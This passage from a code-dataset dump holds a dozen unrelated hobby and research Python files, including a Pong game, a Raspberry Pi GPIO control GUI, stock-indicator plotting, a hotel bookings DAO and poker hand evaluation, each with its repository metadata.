10, 'bold'), command=None)\n b11.place(x=390 + x0, y=200 + y0)\n\n # TBD3\n b12 = tk.Button(canvas, text='TBD3', width=18, font=('Calibri', 10, 'bold'), command=None)\n b12.place(x=390 + x0, y=250 + y0)\n\n\n label_user = tk.Label(canvas, text=' Current Login User: ' + p_user + ' ',\n font=('Calibri', 10, 'bold italic')).place(x=20, y=320, anchor='nw')\n\n fc_page.mainloop()\n\nif __name__ == '__main__':\n fc_choose('TEST', '5CG94599LK', '10.234.34.178')","repo_name":"zjustranger/Simple_Dev_PSCD","sub_path":"SC_QM/temp/function_choose_page.py","file_name":"function_choose_page.py","file_ext":"py","file_size_in_byte":4344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29499934067","text":"\"\"\"\r\nTreeLikeOptionsKeys.py\r\n\"\"\"\r\n\r\n# Integer values corresponding to a pixel offset\r\nMIN_HORIZONTAL_DISTANCE = 'xOffset'\r\nMIN_VERTICAL_DISTANCE = 'yOffset'\r\n\r\n# Boolean, if false automatic cycle breaking\r\nMANUAL_CYCLE_BREAKING = 'Manual Cycles'\r\n# Boolean, force drawing to the top left of canvas\r\nFORCE_TOPLEFT_TO_ORIGIN = 'Origin'\r\n\r\n# Arrow post processing, boolean flag, integer curvature\r\nUSE_SPLINES = 'Spline optimization'\r\nARROW_CURVATURE = 'Arrow curvature'\r\n\r\n# String in ['Never', 'Smart', 'Always']\r\nPROMOTE_EDGE_TO_NODE = 'EdgePromotion' \r\n\r\nTIP_OVER_STYLE = 'TipOverStyle' ","repo_name":"AILab-FOI/LSMASOMM","sub_path":"atom3/Kernel/LayoutModule/TreeLikeLayoutModule/TreeLikeOptionsKeys.py","file_name":"TreeLikeOptionsKeys.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"9315470567","text":"from line import *\nfrom point import *\n\nclass Path:\n\n def __init__(self, pic_id, name = \"Name Unavailable\"):\n self.name = name\n self.lines = []\n self.pic_id = pic_id\n self.left = None\n self.right = None\n self.bottom = None\n self.top = None\n\n def get_name(self):\n return self.name\n\n def add_line(self, line):\n \"\"\"\n Precondition: line is a Line object\n Adds the line to the end of Path\n \"\"\"\n self.lines.append(line)\n\n\n if self.left == None or line.get_point1().get_x() < self.left:\n self.left = line.get_point1().get_x()\n if self.left == None or line.get_point2().get_x() < self.left:\n self.left = line.get_point2().get_x()\n\n if self.right == None or line.get_point1().get_x() > self.right:\n self.right = line.get_point1().get_x()\n if self.right == None or line.get_point2().get_x() > self.right:\n self.right = line.get_point2().get_x()\n\n if self.bottom == None or line.get_point1().get_y() < self.bottom:\n self.bottom = line.get_point1().get_y()\n if self.bottom == None or line.get_point2().get_y() < self.bottom:\n self.bottom = line.get_point2().get_y()\n \n if self.top == None or line.get_point1().get_y() > self.top:\n self.top = line.get_point1().get_y()\n if self.top == None or line.get_point2().get_y() > self.top:\n self.top = line.get_point2().get_y()\n\n\n\n\n def get_line(self, index):\n \"\"\"\n Return the line along the path that is stored at index in self.lines\n \"\"\"\n return self.lines[index]\n\n def get_all_lines(self):\n \"\"\"\n Return all the lines along the path\n \"\"\"\n return self.lines\n\n def get_top(self):\n return self.top\n\n def get_bottom(self):\n return self.bottom\n\n def get_left(self):\n return self.left\n\n def get_right(self):\n return self.right\n\n def pixel_is_in_image(self, point):\n \"\"\"\n Returns true if pixel is in image enclosed by self.path\n\n path is a list of the path coordinates of the edge\n\n \"\"\"\n\n # Do horizontal line test\n # If line passes through odd number of edges, it is inside the image\n # If line passes through even number of edges, it is outside the image\n num_intersections = 0\n \n for line in self.lines:\n #Checking for points on the border\n if (line.point_is_on_the_line(point)):\n return True\n \n if (line.point_is_on_leftside_of_line(point)):\n num_intersections += 1\n\n return (num_intersections % 2 == 1)\n\n def get_area(self):\n '''\n Shoelace algorithm to calculate the area of the artwork\n https://en.wikipedia.org/wiki/Shoelace_formula\n '''\n\n area = 0.0\n for line in self.lines:\n point1 = line.get_point1()\n point2 = line.get_point2()\n area += point1.get_x() * point2.get_y() - point2.get_x() * point1.get_y()\n \n\n return abs(area) / 2.0\n\n","repo_name":"meredithxu/reddit_place_project","sub_path":"Python_code/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42334583200","text":"from datetime import date\n\nfrom sqlalchemy import and_, func, insert, or_, select\n\nfrom app.bookings.models import Bookings\nfrom app.database import async_session_maker\nfrom app.hotels.rooms.models import Rooms\nfrom app.services.base import BaseDAO\n\n\nclass BookingsDAO(BaseDAO):\n \"\"\"Объект для работы с данными бронирований.\"\"\"\n\n model = Bookings\n\n @classmethod\n async def add(\n cls,\n user_id: int,\n room_id: int,\n date_from: date,\n date_to: date,\n ):\n \"\"\"\n Метод добавления нового бронирования пользователем.\n Сперва узнаем количество свободных номеров, затем,\n если количество номеров меньше 0 - возвращаем None,\n иначе добавляем бронирование в БД. Ниже приведен\n SQL запрос выполняемый алхимией.\n\n WITH booked_rooms AS (\n SELECT * FROM bookings\n WHERE room_id = {room_id} AND\n (date_from >= {date_from} AND date_from <= {date_to}) OR\n (date_from <= {date_from} AND date_to > {date_from})\n )\n SELECT rooms.quantity - COUNT(booked_rooms.room_id) FROM rooms\n LEFT JOIN booked_rooms ON booked_rooms.room_id = rooms.id\n WHERE rooms.id = 1\n GROUP BY rooms.quantity, booked_rooms.room_id\n \"\"\"\n async with async_session_maker() as session:\n booked_rooms = select(Bookings).where(\n and_(\n Bookings.room_id == room_id,\n or_(\n and_(\n Bookings.date_from >= date_from,\n Bookings.date_from <= date_to\n ),\n and_(\n Bookings.date_from <= date_from,\n Bookings.date_to > date_from\n )\n )\n )\n ).cte(\"booked_rooms\")\n\n get_rooms_left = select(\n (\n Rooms.quantity - func.count(booked_rooms.c.room_id)\n ).label(\"rooms_left\")\n ).select_from(Rooms).join(\n booked_rooms,\n booked_rooms.c.room_id == Rooms.id,\n isouter=True,\n ).where(Rooms.id == 1).group_by(\n Rooms.quantity,\n booked_rooms.c.room_id,\n )\n\n rooms_left = await session.execute(get_rooms_left)\n rooms_left: int = rooms_left.scalar()\n\n if rooms_left <= 0:\n return None\n get_price = select(Rooms.price).filter_by(id=room_id)\n price = await session.execute(get_price)\n price: int = price.scalar()\n add_booking = insert(Bookings).values(\n room_id=room_id,\n user_id=user_id,\n date_from=date_from,\n date_to=date_to,\n price=price,\n ).returning(Bookings)\n\n new_booking = await session.execute(add_booking)\n await session.commit()\n return new_booking.scalar()\n\n @classmethod\n async def delete(\n cls,\n user_id: int,\n booking_id: int\n ):\n \"\"\"\n Метод удаления бронирования текущего пользователя из БД.\n \"\"\"\n pass\n","repo_name":"KlepalovS/FastAPI_learning_project","sub_path":"app/bookings/dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22239914509","text":"import pandas as pd\nimport numpy as np\nimport logging\nimport os\nimport plotly.graph_objects as go\nfrom scipy.stats import zscore\nimport seaborn as sns\nfrom ta.trend import ADXIndicator\nfrom ta.momentum import StochasticOscillator\nfrom ta.volatility import BollingerBands\nfrom ta.utils import dropna\nimport matplotlib.pyplot as plt\n\n# Set up logging\nlogging.basicConfig(filename=\"app.log\", level=logging.INFO, format='%(asctime)s - %(message)s')\n\n# Load the data\ndef load_data(filename):\n if not os.path.exists(filename):\n logging.error(f\"File {filename} does not exist.\")\n raise FileNotFoundError(f\"File {filename} does not exist.\")\n \n all_data = pd.read_csv(filename, header=[0, 1], index_col=0, parse_dates=True)\n\n return all_data\n\n# Validate the data\ndef validate_data(data):\n if data.isnull().values.any():\n logging.warning(\"Data contains null values. Filling null values with the method ffill.\")\n data.fillna(method='ffill', inplace=True)\n \n return data\n\n# Filter data by date range\ndef filter_data_by_date_range(data, start_date, end_date):\n return data.loc[start_date:end_date]\n\n# Define function to compute RSI\ndef compute_rsi(data, window=14):\n diff = data.diff()\n up = diff.where(diff > 0, 0.0)\n down = -diff.where(diff < 0, 0.0)\n ema_up = up.ewm(alpha=1/window).mean()\n ema_down = down.ewm(alpha=1/window).mean()\n rs = ema_up/ema_down\n return 100 - (100 / (1 + rs))\n\n# Compute ADX\ndef compute_adx(data):\n high = data['High']\n low = data['Low']\n close = data['Close']\n adx = ADXIndicator(high, low, close).adx()\n return adx\n\n# Compute Stochastic Oscillator\ndef compute_stochastic_oscillator(data):\n high = data['High']\n low = data['Low']\n close = data['Close']\n so = StochasticOscillator(high, low, close).stoch()\n return so\n\n# Compute Simple Moving Average (SMA)\ndef compute_sma(data, window=14):\n return data.rolling(window).mean()\n\n# Compute Exponential Moving Average (EMA)\ndef compute_ema(data, window=14):\n return data.ewm(span=window, adjust=False).mean()\n\n# Compute Bollinger Bands\ndef compute_bollinger_bands(data, window=20):\n indicator_bb = BollingerBands(close=data[\"Close\"], window=20, window_dev=2)\n data['bb_bbm'] = indicator_bb.bollinger_mavg()\n data['bb_bbh'] = indicator_bb.bollinger_hband()\n data['bb_bbl'] = indicator_bb.bollinger_lband()\n return data\n\n# Compute Volatility (standard deviation)\ndef compute_volatility(data, window=14):\n return data['Close'].rolling(window).std()\n\n# Compute Sharpe Ratio\ndef compute_sharpe_ratio(data, risk_free_rate=0.01):\n returns = data['Close'].pct_change().dropna()\n sharpe_ratio = (returns.mean() - risk_free_rate) / returns.std()\n return sharpe_ratio\n\n# Functions for all plots\ndef plot_ohlc(data, ticker):\n ohlc_data = data[['Open', 'High', 'Low', 'Close']]\n fig = go.Figure(data=[go.Candlestick(x=ohlc_data.index, open=ohlc_data['Open'], high=ohlc_data['High'], low=ohlc_data['Low'], close=ohlc_data['Close'])])\n fig.update_layout(title=f'{ticker} OHLC Prices Over Time', yaxis_title='Price')\n fig.show()\n\ndef plot_histogram(data, ticker):\n plt.hist(data['Close'], bins=50, color='blue')\n plt.title(f'{ticker} Distribution of Closing Prices')\n plt.show()\n\ndef plot_rsi(rsi, ticker):\n plt.figure(figsize=(14, 6))\n plt.title(f'{ticker} RSI Over Time')\n plt.plot(rsi, label='RSI')\n plt.fill_between(rsi.index, y1=30, y2=70, color='#adccff', alpha=0.3)\n plt.legend()\n plt.show()\n\ndef plot_adx(adx, ticker):\n plt.figure(figsize=(14, 6))\n plt.title(f'{ticker} ADX Over Time')\n plt.plot(adx, label='ADX')\n plt.legend()\n plt.show()\n\ndef plot_stochastic_oscillator(so, ticker):\n plt.figure(figsize=(14, 6))\n plt.title(f'{ticker} Stochastic Oscillator Over Time')\n plt.plot(so, label='Stochastic Oscillator')\n plt.legend()\n plt.show()\n \n# Add new plotting functions for the new indicators\ndef plot_sma_ema(data, ticker, sma, ema):\n plt.figure(figsize=(14, 6))\n plt.title(f'{ticker} SMA and EMA Over Time')\n plt.plot(data['Close'], label='Close')\n plt.plot(sma, label='SMA')\n plt.plot(ema, label='EMA')\n plt.legend()\n plt.show()\n\ndef plot_bollinger_bands(data, ticker):\n plt.figure(figsize=(14, 6))\n plt.title(f'{ticker} Bollinger Bands Over Time')\n plt.plot(data['Close'], label='Close')\n plt.plot(data['bb_bbm'], label='Middle Band')\n plt.plot(data['bb_bbh'], label='Upper Band')\n plt.plot(data['bb_bbl'], label='Lower Band')\n plt.legend()\n plt.show()\n\ndef plot_volatility(volatility, ticker):\n plt.figure(figsize=(14, 6))\n plt.title(f'{ticker} Volatility Over Time')\n plt.plot(volatility, label='Volatility')\n plt.legend()\n plt.show()\n \n# Load and validate the data\nfilename = 'market_all_historical_data.csv'\nall_data = load_data(filename)\nall_data = validate_data(all_data)\n\n# Set date range\nstart_date = '2022-01-01'\nend_date = '2023-06-13'\nall_data = filter_data_by_date_range(all_data, start_date, end_date)\n\n# Get tickers\ntickers = all_data.columns.get_level_values(0).unique()\n\n# Main loop for all tickers\nfor ticker in tickers:\n ticker_data = all_data[ticker]\n plot_ohlc(ticker_data, ticker)\n\n rsi = compute_rsi(ticker_data['Close'])\n plot_rsi(rsi, ticker)\n\n adx = compute_adx(ticker_data)\n plot_adx(adx, ticker)\n\n so = compute_stochastic_oscillator(ticker_data)\n plot_stochastic_oscillator(so, ticker)\n\n plot_histogram(ticker_data, ticker)\n \n # Compute and plot new indicators\n sma = compute_sma(ticker_data['Close'])\n ema = compute_ema(ticker_data['Close'])\n plot_sma_ema(ticker_data, ticker, sma, ema)\n\n ticker_data = compute_bollinger_bands(ticker_data)\n plot_bollinger_bands(ticker_data, ticker)\n\n volatility = compute_volatility(ticker_data)\n plot_volatility(volatility, ticker)\n \n sharpe_ratio = compute_sharpe_ratio(ticker_data)\n logging.info(f'Sharpe Ratio for {ticker}: {sharpe_ratio}')\n\n# Correlation Matrix Heatmap for all tickers\nclosing_prices = pd.DataFrame({ticker: zscore(all_data[ticker]['Close']) for ticker in tickers})\ncorrelation = closing_prices.corr()\nsns.heatmap(correlation, annot=True, cmap='coolwarm')\nplt.title('Correlation Matrix Heatmap')\nplt.show()\n","repo_name":"JeremiahPetersen/Stock-Market-Historical-Data-Fetcher-Analyzer","sub_path":"Stock Market Data Visualization.py","file_name":"Stock Market Data Visualization.py","file_ext":"py","file_size_in_byte":6287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35484748283","text":"from util.factory import Factory\n\n\nclass Missile:\n\n def __init__(self):\n self.missile = Factory().create_object_from_image('missile')\n self.recMissile = Factory().create_rect_object(self.missile)\n\n def make_missile(self, recPlayer):\n for missile in self.recMissile:\n if missile.y == -1:\n missile.x, missile.y = recPlayer.x, recPlayer.y\n break\n\n def __get_missile_y(self, y):\n if y == -1:\n return y\n elif y >= 0:\n return y - 1\n else:\n return -1\n\n def move_missile(self):\n for missile in self.recMissile:\n missile.y = self.__get_missile_y(missile.y)\n","repo_name":"Cha-Ji/raspberry-term-project","sub_path":"model/missile.py","file_name":"missile.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10847955498","text":"import RPi.GPIO as GPIO\nimport tkinter as tk\n\n#PINES\nled=(3,5,7)\nmotor=(11,13,15)\nservo=19\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(led,GPIO.OUT)\nGPIO.setup(motor,GPIO.OUT)\nGPIO.setup(servo,GPIO.OUT)\n\n#PWMS\npwmmotor=GPIO.PWM(15,100)\npwmservo=GPIO.PWM(19,100)\npwmservo.start(0)\n\n#RGB Window\ndef ledrgbwindow():\n print(\"ejecutando\")\n w2=tk.Toplevel(w)\n w2.geometry('400x200')\n w2.config(bg='white')\n l2=tk.Label(w2, text='LED RGB', bg='white', font=('Arial',20)).pack()\n rb1=tk.Radiobutton(w2, text='Red', bg='red', variable=ledcolor, value=1, command=ledcontrol, width=20, font=('arial',20)).pack()\n rb2=tk.Radiobutton(w2, text='Green', bg='green', variable=ledcolor, value=2, command=ledcontrol, width=20, font=('arial',20)).pack()\n rb3=tk.Radiobutton(w2, text='Blue', bg='blue', variable=ledcolor, value=3, command=ledcontrol, width=20, font=('arial',20)).pack()\n rb4=tk.Radiobutton(w2, text='Off', bg='black', fg='white', variable=ledcolor, value=4, command=ledcontrol, width=20, font=('arial',20)).pack()\n\n#Motor Window\ndef motorwindow():\n w3=tk.Toplevel(w)\n w3.geometry('400x150')\n w3.config(bg='PeachPuff2')\n l3=tk.Label(w3, text='MOTOR DC', bg='PeachPuff2', font=('Arial',20)).pack()\n rb1=tk.Radiobutton(w3, text='Izquierda', bg='snow', variable=senmotor, value=1, command=motorcontrol, width=10, font=('Arial',15)).place(x=10, y=50)\n rb2=tk.Radiobutton(w3, text='Derecha', bg='snow', variable=senmotor, value=2, command=motorcontrol, width=10, font=('Arial',15)).place(x=200, y=50)\n rb3=tk.Radiobutton(w3, text='Paro', bg='snow', variable=senmotor, value=3, command=motorcontrol, width=10, font=('Arial',15)).place(x=120, y=100)\n \n#Servo window\ndef servowindow():\n w4=tk.Toplevel(w)\n w4.geometry('400x200')\n w4.config(bg='dark salmon')\n l4=tk.Label(w4, text='SERVOMOTOR', bg='dark salmon', font=('Arial',20)).pack()\n l5=tk.Label(w4, text='DEGREES', bg='dark salmon', font=('Arial',12)).place(x=150, y=80)\n entrada=tk.Scale(w4,from_=0, to=180, resolution=10, bg='light coral',variable=servogrados, command=servomotion, orient=tk.HORIZONTAL).place(x=150, y=100)\n \n#RGB Function\ndef ledcontrol():\n color=ledcolor.get()\n if color==1:\n print('Red On')\n GPIO.output(3,False)\n GPIO.output(5,True)\n GPIO.output(7,True)\n elif color==2:\n print('Green On')\n GPIO.output(3,True)\n GPIO.output(5,False)\n GPIO.output(7,True)\n elif color==3:\n print('Blue On')\n GPIO.output(3,True)\n GPIO.output(5,True)\n GPIO.output(7,False)\n elif color==4:\n print('Off')\n GPIO.output(3,True)\n GPIO.output(5,True)\n GPIO.output(7,True)\n \n\ndef motorcontrol():\n valor=senmotor.get()\n if valor==1:\n GPIO.output(11,True)\n GPIO.output(13,False)\n GPIO.output(15, True)\n #pwmmotor.ChangeDutyCycle(100)\n print('<-----')\n elif valor==2:\n print('----->')\n GPIO.output(11,False)\n GPIO.output(13,True)\n GPIO.output(15, True)\n elif valor==3:\n GPIO.output(15,False)\n\n#Servo Function\ndef servomotion(angulo):\n duty=float(angulo)/10.0+2\n pwmservo.ChangeDutyCycle(duty)\n print(str(duty))\n\n#MAIN WINDOW \nw=tk.Tk()\nw.title('Trueno Chocolate')\nw.geometry('400x100')\nw.config(bg='azure')\ntitulo=tk.Label(w, text='Control de LED RGB, Motor DC, Servomotor', bg='mint cream', font=('Arial,20')).place(x=25,y=0)\nledrgb=tk.Button(w, text='LED RGB', bg='alice blue', relief=tk.GROOVE, command=ledrgbwindow).place(x=10, y=50)\nmotorbot=tk.Button(w, text='Motor DC', bg='alice blue', relief=tk.GROOVE, command=motorwindow).place(x=150, y=50)\nservobot=tk.Button(w, text='Servomotor',bg='alice blue', relief=tk.GROOVE, command=servowindow).place(x=280, y=50)\nledcolor=tk.IntVar()\nsenmotor=tk.IntVar()\nservogrados=tk.IntVar()\nw.mainloop()\n \n\n","repo_name":"urikates/raspberry-git","sub_path":"GUITAREA.py","file_name":"GUITAREA.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36859534741","text":"import turtle\n\n\n# Setting up the window\nwn = turtle.Screen()\nwn.title(\"Pong\")\nwn.bgcolor(\"black\")\nwn.setup(width = 800, height = 600)\nwn.tracer(0)\n\n\n# Setting the paddle Class\nclass paddle(turtle.Turtle):\n def __init__(self):\n super().__init__()\n self.speed(0)\n self.color('white')\n self.shape('square')\n self.shapesize(stretch_wid=5, stretch_len=1)\n self.penup()\n\n# Paddle A (Left Paddle)\npaddle_a = paddle()\npaddle_a.goto(-350,0)\n\n# Paddle B (Right Paddle)\npaddle_b = paddle()\npaddle_b.goto(350,0)\n\n\n# Ball(Design)\nball= turtle.Turtle()\nball.speed(0)\nball.shape('square')\nball.color('white')\nball.penup()\nball.goto(0,0)\n# Ball(Movement)\nball.dx = 1.5\nball.dy = 1.5\n\n\n# Score Variables\nscore_a = 0\nscore_b = 0\n\n# Scoring label\nscore = turtle.Turtle()\nscore.speed(0)\nscore.color('white')\nscore.penup()\nscore.hideturtle()\nscore.goto(0, 260)\nscore.write(f'Player A: {score_a} | Player B: {score_b}', align='center', font=(\"Courier\", 24, \"normal\"))\n\n\n# Functions (Paddles going up and down)\ndef paddle_a_up():\n y = paddle_a.ycor()\n y += 20\n paddle_a.sety(y)\n\ndef paddle_a_down():\n y = paddle_a.ycor()\n y -= 20\n paddle_a.sety(y)\n\ndef paddle_b_up():\n y = paddle_b.ycor()\n y += 20\n paddle_b.sety(y)\n\ndef paddle_b_down():\n y = paddle_b.ycor()\n y -= 20\n paddle_b.sety(y)\n\n# Keyboard binding (.listen takes in keyboard inputs)\nwn.listen()\nwn.onkeypress(paddle_a_up, \"w\")\nwn.onkeypress(paddle_a_down, \"s\")\nwn.onkeypress(paddle_b_up, \"Up\")\nwn.onkeypress(paddle_b_down, \"Down\")\n\n# Main Game Loop\nwhile True:\n wn.update()\n\n # Move the Ball\n ball.setx(ball.xcor() + ball.dx)\n ball.sety(ball.ycor() + ball.dy)\n\n # Border Checking\n if ball.ycor() > 290:\n ball.sety(290)\n ball.dy *= -1\n\n if ball.ycor() < -290:\n ball.sety(-290)\n ball.dy *= -1\n\n if ball.xcor() > 390:\n ball.goto(0, 0)\n ball.dx *= -1\n #Adding to score\n score_a += 1\n score.clear()\n score.write(f'Player A: {score_a} | Player B: {score_b}', align='center', font=(\"Courier\", 24, \"normal\"))\n\n if ball.xcor() < -390:\n ball.goto(0, 0)\n ball.dx *= -1\n score_b += 1\n score.clear()\n score.write(f'Player A: {score_a} | Player B: {score_b}', align='center', font=(\"Courier\", 24, \"normal\"))\n\n # Paddle and Ball Collisions\n if (ball.xcor() > 340 and ball.xcor() < 350) and (ball.ycor() < paddle_b.ycor() + 40 and ball.ycor() > paddle_b.ycor() - 40):\n ball.setx(340)\n ball.dx *= -1\n\n if (ball.xcor() < -340 and ball.xcor() < -350) and (ball.ycor() < paddle_a.ycor() + 40 and ball.ycor() > paddle_a.ycor() - 40):\n ball.setx(-340)\n ball.dx *= -1\n","repo_name":"jarettownsend/pong","sub_path":"Pong.py","file_name":"Pong.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21218965432","text":"\"\"\"\r\nInaSAFE Disaster risk assessment tool developed by AusAid and World Bank\r\n- **Converter Test Cases.**\r\n\r\nContact : ole.moller.nielsen@gmail.com\r\n\r\n.. note:: This program is free software; you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation; either version 2 of the License, or\r\n (at your option) any later version.\r\n\r\n\"\"\"\r\n\r\n__author__ = 'imajimatika@gmail.com'\r\n__date__ = '27/03/2013'\r\n__copyright__ = ('Copyright 2012, Australia Indonesia Facility for '\r\n 'Disaster Reduction')\r\n\r\nimport os\r\nimport unittest\r\nfrom converter import convert_mmi_data\r\nfrom safe.common.utilities import unique_filename, temp_dir\r\n\r\nfrom safe.common.testing import TESTDATA\r\n\r\n\r\nclass ConverterTest(unittest.TestCase):\r\n def test_convertGridToRaster(self):\r\n \"\"\"Test converting grid.xml to raster (tif file)\r\n \"\"\"\r\n my_grid_path = os.path.join(TESTDATA, 'grid.xml')\r\n my_output_raster = unique_filename(prefix='result_grid',\r\n suffix='.tif',\r\n dir=temp_dir('test'))\r\n my_result = convert_mmi_data(my_grid_path, my_output_raster)\r\n my_expected_result = my_output_raster.replace('.tif', '-nearest.tif')\r\n assert my_result == my_expected_result, 'Result path not as expected'\r\n is_exist = os.path.exists(my_result)\r\n assert is_exist, 'File result : %s is not exist' % my_result\r\n is_exist = os.path.exists(my_result[:-3] + 'keywords')\r\n assert is_exist, 'File result : %s is not exist' % \\\r\n (my_result[:-3] + 'keywords')\r\n is_exist = os.path.exists(my_result[:-3] + 'qml')\r\n assert is_exist, 'File result : %s is not exist' % \\\r\n (my_result[:-3] + 'qml')\r\n test_convertGridToRaster.slow = True\r\n\r\n\r\nif __name__ == '__main__':\r\n suite = unittest.makeSuite(ConverterTest, 'test')\r\n runner = unittest.TextTestRunner(verbosity=2)\r\n runner.run(suite)\r\n","repo_name":"lptorres/noah-inasafe","sub_path":"web_api/safe/common/test_converter.py","file_name":"test_converter.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73852509201","text":"import logging\nfrom gensim.models import word2vec\nimport numpy as np\nimport scipy.io as sio\nimport scipy.spatial as spatial\nimport localconfig\nimport qaExtractor\nimport itertools\nimport jieba\n\nFORCE_TEST_SET = True\n\nnanFiller = np.empty((256*2+1,))\nnanFiller[:] = np.nan\n\ndef main(modelPath: str, qaPath:str, matPath: str):\n logging.basicConfig(format='[%(asctime)s]%(levelname)s: %(message)s', level=logging.INFO)\n model = word2vec.Word2Vec.load(modelPath)\n trainQaList = list(qaEntriesFromFile(model, qaPath))\n def vectorGenerator():\n entryCount = 0\n for qa in trainQaList:\n entryCount += 1\n if qa.questionVector is None or qa.answerVector is None:\n logging.warn(\"行：{0}，标记{1}：无问题或答案向量。\".format(entryCount, qa.corresponds))\n if FORCE_TEST_SET or qa.corresponds is None:\n # This is test set\n yield nanFiller\n continue\n sim = 1 - spatial.distance.cosine(qa.questionVector, qa.answerVector)\n yield np.hstack((qa.questionVector, qa.answerVector, sim))\n trainX = np.vstack(vectorGenerator())\n trainY = np.vstack((1 if qa.corresponds else 0 for qa in trainQaList))\n sio.savemat(matPath, {\"X\": trainX, \"Y\": trainY}, do_compression=True)\n\ndef qaEntriesFromFile(model, path: str):\n entryCount = 0\n for qa in qaExtractor.entriesFromFile(path):\n entryCount += 1\n #print(entryCount)\n qa.questionVector = evalSentenceVector(model, qa.question)\n qa.answerVector = evalSentenceVector(model, qa.answer)\n yield qa\n if entryCount % 10000 == 0: logging.info(\"已导入：%d条。\" % entryCount)\n\n# https://stackoverflow.com/questions/22129943/how-to-calculate-the-sentence-similarity-using-word2vec-model-of-gensim-with-pyt\ndef evalSentenceVector(model:word2vec.Word2Vec, sentence:str):\n '''Averages all words vectors in a given paragraph.'''\n featureVec = None\n nwords = 0\n\n #list containing names of words in the vocabulary\n #index2word_set = set(model.index2word) this is moved as input param for performance reasons\n for word in jieba.cut(sentence):\n try:\n vec = model[word]\n except KeyError:\n continue\n nwords += 1\n if featureVec is None:\n featureVec = vec\n else:\n featureVec = np.add(featureVec, vec)\n\n if(nwords > 0):\n featureVec = np.divide(featureVec, nwords)\n return featureVec\n\nif __name__ == \"__main__\":\n main(\"zhcnwp-model.bin\", localconfig.QaDevDataDir, \"qa-dev.mat\")\n #main(\"zhcnwp-model.bin\", localconfig.QaTrainDataDir, \"qa-train.mat\")\n main(\"zhcnwp-model.bin\", localconfig.QaTestDataDir, \"qa-test.mat\")\n","repo_name":"CXuesong/Cobweb","sub_path":"Cobweb/Word2VecBuilder.py","file_name":"Word2VecBuilder.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6972141794","text":"from kd_tree import Kdtree, printPreorder\nfrom read_files import *\nfrom xnn import *\n\n# databases = ['appendicitis', 'haberman', 'pima', 'led7digit', 'monk-2', 'heart', 'wdbc', 'phoneme', 'iris', 'ecoli', 'banana']\ndatabases = [\"drug200\"]\n\nk = 5\nprint(\"Quantidades de vizinhos próximos calculados: \", k)\n\nfor database in databases:\n print('Database: ' + database)\n point_list = getDataPoints('data/' + database + '.csv')\n trainingPoints, testPoints = getTrainingAndTestsPoints(point_list)\n\n\n xnn = Xnn(priority_queue=[])\n xnn.buildKdtree(trainingPoints)\n xnn.getStatisticsFromTestPoints(k, testPoints, getUniqueClasses(testPoints))\n ","repo_name":"otavioml/Supervised-Machine-Learning","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15422020900","text":"from treys import Card, Evaluator\nfrom PokerHandStrengths import compare\n\nvalues = list(range(2,15))\nsuits = [0, 1, 2, 3]\ndeck = []\nfor value in values:\n for suit in suits:\n deck.append((value, suit))\n \nlookupTreys = {}\nfor card in deck:\n if card[0] < 10:\n valueTreys = str(card[0])\n elif card[0] == 10:\n valueTreys = \"T\"\n elif card[0] == 11:\n valueTreys = \"J\"\n elif card[0] == 12:\n valueTreys = \"Q\"\n elif card[0] == 13:\n valueTreys = \"K\"\n else:\n valueTreys = \"A\"\n if card[1] == 0:\n suitTreys = \"s\"\n elif card[1] == 1:\n suitTreys = \"h\"\n elif card[1] == 2:\n suitTreys = \"c\"\n else:\n suitTreys = \"d\"\n \n lookupTreys[card] = Card.new(valueTreys+suitTreys)\n\ndef transformHand(hand):\n return [lookupTreys[hand[0]],lookupTreys[hand[1]],lookupTreys[hand[2]],lookupTreys[hand[3]],lookupTreys[hand[4]],lookupTreys[hand[5]],lookupTreys[hand[6]]]\nevaluator = Evaluator()\ndef compare(hands):\n hand0 = transformHand(hands[0])\n hand1 = transformHand(hands[1])\n\n p0_score = evaluator.evaluate(hand0[2:], hand0[:2])\n p1_score = evaluator.evaluate(hand1[2:], hand1[:2])\n if p0_score < p1_score:\n return {0:0, 1:1}\n elif p1_score < p0_score:\n return {1:0, 0:1}\n else:\n return {0:0, 1:0}\n ","repo_name":"cromicron/PokerAI","sub_path":"Training/PokerHandStrengthsFast.py","file_name":"PokerHandStrengthsFast.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25889198095","text":"#!/usr/bin/python\n\n\"\"\"\nTest code for making the figure plots\n\"\"\"\nimport bbr_plot\nfrom bbr_logging import debug_print, debug_print_verbose, debug_print_error\n\n\ndef run_test_plot():\n logfile = \"./test_experiment_log.csv\"\n debug_print(\"Running graph generation for %s\" % logfile)\n bbr_plot.make_figure_8_plot(logfile)\n\n\ndef main():\n run_test_plot()\n\nif __name__ == '__main__':\n 